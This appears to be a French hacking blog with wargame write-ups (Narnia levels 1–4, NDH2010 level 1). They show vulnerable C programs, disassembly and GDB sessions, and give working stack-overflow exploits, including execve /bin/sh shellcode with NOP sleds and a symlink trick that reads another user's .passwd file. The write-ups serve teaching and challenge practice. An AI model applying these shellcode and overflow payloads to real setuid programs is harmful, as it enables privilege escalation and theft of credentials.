0x08048504 <main+96>: mov    DWORD PTR [esp],0xffffffff
0x0804850b <main+103>: call   0x80483a4 <exit@plt>
0x08048510 <main+108>: mov    eax,DWORD PTR [ebp+12]
0x08048513 <main+111>: add    eax,0x4
0x08048516 <main+114>: mov    eax,DWORD PTR [eax]
0x08048518 <main+116>: mov    DWORD PTR [esp+4],eax
0x0804851c <main+120>: lea    eax,[ebp-72]
0x0804851f <main+123>: mov    DWORD PTR [esp],eax
0x08048522 <main+126>: call   0x80483d4 <strcpy@plt>
0x08048527 <main+131>: mov    DWORD PTR [esp+4],0x2
0x0804852f <main+139>: lea    eax,[ebp-40]
0x08048532 <main+142>: mov    DWORD PTR [esp],eax
0x08048535 <main+145>: call   0x8048394 <open@plt>
0x0804853a <main+150>: mov    DWORD PTR [ebp-16],eax
0x0804853d <main+153>: cmp    DWORD PTR [ebp-16],0x0
0x08048541 <main+157>: jns    0x8048562 <main+190>
0x08048543 <main+159>: lea    eax,[ebp-40]
0x08048546 <main+162>: mov    DWORD PTR [esp+4],eax
0x0804854a <main+166>: mov    DWORD PTR [esp],0x8048750
0x08048551 <main+173>: call   0x8048384 <printf@plt>
0x08048556 <main+178>: mov    DWORD PTR [esp],0xffffffff
0x0804855d <main+185>: call   0x80483a4 <exit@plt>
0x08048562 <main+190>: mov    DWORD PTR [esp+4],0x0
0x0804856a <main+198>: lea    eax,[ebp-72]
0x0804856d <main+201>: mov    DWORD PTR [esp],eax
0x08048570 <main+204>: call   0x8048394 <open@plt>
0x08048575 <main+209>: mov    DWORD PTR [ebp-12],eax
0x08048578 <main+212>: cmp    DWORD PTR [ebp-12],0x0
0x0804857c <main+216>: jns    0x804859d <main+249>
0x0804857e <main+218>: lea    eax,[ebp-72]
0x08048581 <main+221>: mov    DWORD PTR [esp+4],eax
0x08048585 <main+225>: mov    DWORD PTR [esp],0x8048750
0x0804858c <main+232>: call   0x8048384 <printf@plt>
0x08048591 <main+237>: mov    DWORD PTR [esp],0xffffffff
0x08048598 <main+244>: call   0x80483a4 <exit@plt>
0x0804859d <main+249>: mov    DWORD PTR [esp+8],0x1f
0x080485a5 <main+257>: lea    eax,[ebp-104]
0x080485a8 <main+260>: mov    DWORD PTR [esp+4],eax
0x080485ac <main+264>: mov    eax,DWORD PTR [ebp-12]
0x080485af <main+267>: mov    DWORD PTR [esp],eax
0x080485b2 <main+270>: call   0x80483b4 <read@plt>
0x080485b7 <main+275>: mov    DWORD PTR [esp+8],0x1f
0x080485bf <main+283>: lea    eax,[ebp-104]
0x080485c2 <main+286>: mov    DWORD PTR [esp+4],eax
0x080485c6 <main+290>: mov    eax,DWORD PTR [ebp-16]
0x080485c9 <main+293>: mov    DWORD PTR [esp],eax
0x080485cc <main+296>: call   0x8048354 <write@plt>
0x080485d1 <main+301>: lea    eax,[ebp-40]
0x080485d4 <main+304>: mov    DWORD PTR [esp+8],eax
0x080485d8 <main+308>: lea    eax,[ebp-72]
0x080485db <main+311>: mov    DWORD PTR [esp+4],eax
0x080485df <main+315>: mov    DWORD PTR [esp],0x8048764
0x080485e6 <main+322>: call   0x8048384 <printf@plt>
0x080485eb <main+327>: mov    eax,DWORD PTR [ebp-12]
0x080485ee <main+330>: mov    DWORD PTR [esp],eax
0x080485f1 <main+333>: call   0x8048364 <close@plt>
0x080485f6 <main+338>: mov    eax,DWORD PTR [ebp-16]
0x080485f9 <main+341>: mov    DWORD PTR [esp],eax
0x080485fc <main+344>: call   0x8048364 <close@plt>
0x08048601 <main+349>: mov    DWORD PTR [esp],0x1
0x08048608 <main+356>: call   0x80483a4 <exit@plt>
0x0804860d <main+361>: nop    
0x0804860e <main+362>: nop    
0x0804860f <main+363>: nop    
End of assembler dump.

Grâce aux offsets on peut reconstruire la stack frame : stack frame :
[ebp+4] ret
[ebp] sfp
[ebp-4] arg2
[ebp-8] arg1
[ebp-12] ifd
[ebp-16] ofd
[ebp-24] ofile
...
[ebp-40] ofile
[ebp-44] ifile
...
[ebp-72] ifile
[ebp-76] buf
...
[ebp-104] buf

Taille de la zone locale : 116 octets.

L'analyse du code assembleur nous confirme bien notre hypothèse. Reste à crafter la string d'attaque ;). Sous les Unixoides, nous savons que les seuls caractères prohibés dans les noms de fichiers sont / ou NULL mais beaucoup de caractères non imprimables "ne passent pas" en console. Toute la chaine va donc forcément devoir représenter le nom de fichier d'input et une partie correspondra à celle d'output.

Voilà donc mon attaque : 
mkdir -p /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/
ln -s /home/level5/.passwd /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
touch /tmp/lvl5pass
chmod 777 /tmp/lvl5pass
/wargame/level4 /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
cat /tmp/lvl5pass

Et voilà il nous reste plus qu'à récupérer le mot de passe du level 5 dans notre fichier ;).
On aurait pu éviter le symlink mais j'ai trouvé ça plus pratique, surtout si on veut lire un autre fichier :p.

Le détail du buffer d'attaque :
ifile = /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
-> fichier réellement lu : /home/level5/.passwd
ofile = /tmp/lvl5pass

Conclusion

Evitez strcpy() comme la peste à moins que vous savez ce que vous faites et vérifiez les permissions des fichiers ;). Comme quoi ne croyez pas qu'un buffer overflow sert uniquement à "owner" l'EIP ;). Ca peut parfois servir à de  l'information leakage et autres joyeuseries.

Sur ce,

A un prochain article ;),

Have phun,

m_101

[Wargame] Narnia at intruded.net : Level 3

Et hop le level 3 :).

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

Ok, un bof tout ce qu'il y a de plus classique dans les wargames.
Rien de particulier dans le code assembleur si ce n'est l'habituel calcul d'offset sous GDB.
Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.

La méthode rapide :
On génére notre pattern avec metasploit :
votrepseudo@votremachine $ msf/tools/pattern_create 140
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
level5@narnia:~$ gdb /wargame/level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program exited normally.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae

Program received signal SIGILL, Illegal instruction.
0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0 0
ecx            0xb7fe0434 -1208089548
edx            0xb7fe1448 -1208085432
ebx            0xb7fdfff4 -1208090636
esp            0xbffff9c0 0xbffff9c0
ebp            0x65413565 0x65413565
esi            0x0 0
edi            0xb8000cc0 -1207956288
eip            0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Ok on a re-écrit ebp avec "e5Ae".

On cherche l'offset de ce pattern avec metasploit toujours :
msf/tools/pattern_offset e5Ae
136

Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.

On va utiliser la méthode des variables d'environnement, ça a pas mal d'avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- ...

Donc notre petit helper getenv :
// @author  : m_101
// @licence : beerware
#include <stdlib.h>

int main (int argc, char *argv[]) {
        char *addr;

        if(argc < 2) {
                printf("Usage:\n%s <environment variable name>\n", argv[0]);
                exit(0);
        }

        addr = getenv(argv[1]);

        if (addr == NULL)
                printf ("The environment variable %s doesn't exist.\n", argv[1]);
        else
                printf ("%s is located at %p\n", argv[1], addr);

        return 0;
}

Maintenant let's sploit!
level3@narnia:~$ export SC=`python -c 'print "\x90" * 128 + "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level3@narnia:~$ /tmp/getenv SC
SC is located at 0xbffffe94
/wargame/level3 `python -c 'print "A" * 140 + "\x94\xfe\xff\xbf"'`

Have fun ;).

m_101

[Wargame] Narnia at intruded.net : Level 2

On passe donc au level 2 ... quelle ne fut pas ma surprise ...

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
        int (*ret)();

        if((ret=getenv("EGG"))==NULL){    
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }

        printf("Trying to execute EGG!\n");
        seteuid(1003);

        ret();

        return 0;
}


Oui donc bon là c'est quand même assez clair, j'ai rien à "expliquer".

Le sploit :
export EGG=`python -c 'print "\x90" * 128 +  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


m_101

[Wargame] Narnia at intruded.net : Level 1

Bonsoir!

Aujourd'hui j'ai eu l'occasion de jouer un peu aux wargame de www.intruded.net.
J'ai donc un peu toucher à Narnia et Behemoth ;).
Je vous présente donc ma solution pour le level1 de Narnia.

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}

Ce programme attend une entrée de 24 caractères (je vous dé-conseille vivement
d'utiliser scanf() pour vos entrées ... difficilement maitrisable au niveau de
l'input filtering).

Il faut savoir que scanf() et d'autres fonctions de la bibliothèques standard
prennent leur input dans un buffer, ici en occurrence le buffer d'entrée standard.
J'ai donc utilisé les pipes car bien plus utile pour rentrer des caractères non imprimables
tels que ceux utilisés pour 0xdeadbeef.

Le sploit :
(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"' ; cat) | /wargame/level1

Le cat à la fin sert à éviter que le shell quitte et redonne la main au prompt.

Passons maintenant au level2 ;)

m_101

- link : <a href="http://www.intruded.net/narnia.html">Narnia</a>
- link : <a href="http://www.intruded.net/wglist.html">Wargames intruded</a>

vendredi 23 juillet 2010

Simple buffer overflow : NDH2010 Level 1

Une autre astuce qui peut s'avérer utile.

Ok vous pensiez réellement qu'on avait besoin de GDB pour own le level1?
Vous avez tout faux :]

Il s'avère que lorsque vous provoquez un segfault, cette information est retranscrite autre part.

level1@srv-public:~$ dmesg | grep level1
[???????????????] level1[????]: segfault at 37614136 ip 37614136 sp bffff804 error 4 

Eh oui, vous aurez remarquer qu'on a l'EIP et l'ESP sans avoir toucher à GDB ;).

Si vous avez des astuces du genre, faites tourner :].

Have phun,

m_101

Simple buffer overflow offset calculation : NDH2010 Level 1

Bonjour!

Sorry for English speakers, I will write only in French on this blog now unless you ask for English ;).

Aujourd'hui, je vais vous présenter brièvement une technique pour rapidement choper les offsets lors de l'exploitation de buffer overflows

Bon déjà je préviens pour ceux qui seraient tentés de prendre ça au premier degré :
- Non on a pas besoin de GDB mais je voulais faire les choses comme il fallait
- C'est juste pour illustrer une méthode de calcul d'offset rien d'autre


Les pré-requis

- Des connaissances minimales en stack frame.
- Des connaissances en assembleur (je n'expliquerais pas le code ASM, ce n'est pas le but)
- Metasploit

Let's go!

Il manque juste le programme vulnérable qu'on va casser :].
C'est le premier challenge du SSH public NDH 2010.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy()
{
        setresuid(geteuid(),geteuid(),geteuid());
        system("sleep 1; cat /home/level2/passwd;");
 exit(0);
}

int *p;
void func(char *arg)
{
        char buf[16];
        p = (int *)&buf[sizeof(buf)];

 printf("dummy() is at: 0x%08x\n", dummy);
        printf("before:   SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
        strcpy(buf, arg);
        printf("after:    SEBP=%p\n\t  SEIP=0x%08x\n", *p, *(p+1));
 
}
int main(int argc, char *argv[])
{
        if(!argv[1]) {
  printf("No command found...\n");
  return;
 }
        func(argv[1]);
}

Le code ASM correspondant :
Dump of assembler code for function dummy:
   0x08048504 <+0>: push   %ebp
   0x08048505 <+1>: mov    %esp,%ebp
   0x08048507 <+3>: push   %esi
   0x08048508 <+4>: push   %ebx
   0x08048509 <+5>: sub    $0xc,%esp
   0x0804850c <+8>: call   0x8048438 <geteuid@plt>
   0x08048511 <+13>: mov    %eax,%esi
   0x08048513 <+15>: call   0x8048438 <geteuid@plt>
   0x08048518 <+20>: mov    %eax,%ebx
   0x0804851a <+22>: call   0x8048438 <geteuid@plt>
   0x0804851f <+27>: mov    %esi,0x8(%esp)
   0x08048523 <+31>: mov    %ebx,0x4(%esp)
   0x08048527 <+35>: mov    %eax,(%esp)
   0x0804852a <+38>: call   0x80483e8 <setresuid@plt>
   0x0804852f <+43>: movl   $0x80486c0,(%esp)
   0x08048536 <+50>: call   0x80483c8 <system@plt>
   0x0804853b <+55>: movl   $0x0,(%esp)
   0x08048542 <+62>: call   0x8048428 <exit@plt>
End of assembler dump.

Dump of assembler code for function func:
   0x08048547 <+0>: push   %ebp
   0x08048548 <+1>: mov    %esp,%ebp
   0x0804854a <+3>: sub    $0x1c,%esp
   0x0804854d <+6>: lea    -0x10(%ebp),%eax        ; notre buffer est donc en %ebp-10
   0x08048550 <+9>: add    $0x10,%eax
   0x08048553 <+12>: mov    %eax,0x8049884      ; pointeur p
   0x08048558 <+17>: mov    $0x80486e2,%eax
   0x0804855d <+22>: movl   $0x8048504,0x4(%esp)
   0x08048565 <+30>: mov    %eax,(%esp)
   0x08048568 <+33>: call   0x8048408 <printf@plt>
   0x0804856d <+38>: mov    0x8049884,%eax
   0x08048572 <+43>: add    $0x4,%eax
   0x08048575 <+46>: mov    (%eax),%ecx
   0x08048577 <+48>: mov    0x8049884,%eax
   0x0804857c <+53>: mov    (%eax),%edx
   0x0804857e <+55>: mov    $0x80486fc,%eax
   0x08048583 <+60>: mov    %ecx,0x8(%esp)
   0x08048587 <+64>: mov    %edx,0x4(%esp)
   0x0804858b <+68>: mov    %eax,(%esp)
   0x0804858e <+71>: call   0x8048408 <printf@plt>
   0x08048593 <+76>: mov    0x8(%ebp),%eax
   0x08048596 <+79>: mov    %eax,0x4(%esp)
   0x0804859a <+83>: lea    -0x10(%ebp),%eax
   0x0804859d <+86>: mov    %eax,(%esp)
   0x080485a0 <+89>: call   0x80483f8 <strcpy@plt>
   0x080485a5 <+94>: mov    0x8049884,%eax
   0x080485aa <+99>: add    $0x4,%eax
   0x080485ad <+102>: mov    (%eax),%ecx
   0x080485af <+104>: mov    0x8049884,%eax
   0x080485b4 <+109>: mov    (%eax),%edx
   0x080485b6 <+111>: mov    $0x8048720,%eax
   0x080485bb <+116>: mov    %ecx,0x8(%esp)
   0x080485bf <+120>: mov    %edx,0x4(%esp)
   0x080485c3 <+124>: mov    %eax,(%esp)
   0x080485c6 <+127>: call   0x8048408 <printf@plt>
   0x080485cb <+132>: leave  
   0x080485cc <+133>: ret    
End of assembler dump.

Dump of assembler code for function main:
   0x080485cd <+0>: push   %ebp
   0x080485ce <+1>: mov    %esp,%ebp
   0x080485d0 <+3>: sub    $0x4,%esp
   0x080485d3 <+6>: mov    0xc(%ebp),%eax
   0x080485d6 <+9>: add    $0x4,%eax
   0x080485d9 <+12>: mov    (%eax),%eax
   0x080485db <+14>: test   %eax,%eax
   0x080485dd <+16>: jne    0x80485ed <main+32>
   0x080485df <+18>: movl   $0x8048742,(%esp)
   0x080485e6 <+25>: call   0x8048418 <puts@plt>
   0x080485eb <+30>: jmp    0x80485fd <main+48>
   0x080485ed <+32>: mov    0xc(%ebp),%eax
   0x080485f0 <+35>: add    $0x4,%eax
   0x080485f3 <+38>: mov    (%eax),%eax
   0x080485f5 <+40>: mov    %eax,(%esp)
   0x080485f8 <+43>: call   0x8048547 <func>
   0x080485fd <+48>: leave  
   0x080485fe <+49>: ret    
End of assembler dump.

La fonction qui va bien évidemment nous intéresser est func(). Celle-ci contient en effet le buffer overflow avec strcpy(). Celà va nous permettre de retourner dans dummy.

Bon déjà on sait que notre buffer est situé en %ebp-10.
Nous pouvons dès lors reconstruire notre stack frame (on utilise la convention cdecl ici) :
EBP
[arg : 4 octets] [ret : 4 octets] [sfp : 4 octets] [buffer : 16 octets]

Ok good donc théoriquement on a 20 octets avant de taper l'EIP comme il faut :).

On va vérifier ça avec notre pattern métasploit.

On va d'abord le créer.
sh $ msf/tools/pattern_create.rb 24
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7

On teste ça sous GDB.
level1@srv-public:~$ gdb ./level1
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
Starting program: /home/level1/level1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7
dummy() is at: 0x08048504
before:   SEBP=0xbffff7e8
   SEIP=0x080485fd
after:    SEBP=0x61413561
   SEIP=0x37614136

Program received signal SIGSEGV, Segmentation fault.
0x37614136 in ?? ()

Hop on cherche l'offset avec metasploit toujours.
sh $ msf/tools/pattern_offset 6Aa7
20

Pawning :).
./level1 `python -c 'print "JUNK" * 5 + "\x04\x85\x04\x08"'`
dummy() is at: 0x08048504
before:   SEBP=0xbffff828
   SEIP=0x080485fd
after:    SEBP=0x4b4e554a
   SEIP=0x08048504
[password]

Et voilà comment en 5 minutes on peut pawn un soft simple ;).

Have phun.

m_101

- Une autre solution : Level 1 Wargame NDH - Tuto shellcode
- Le wargame NDH : Wargame NDH2010
- metasploit : Metasploit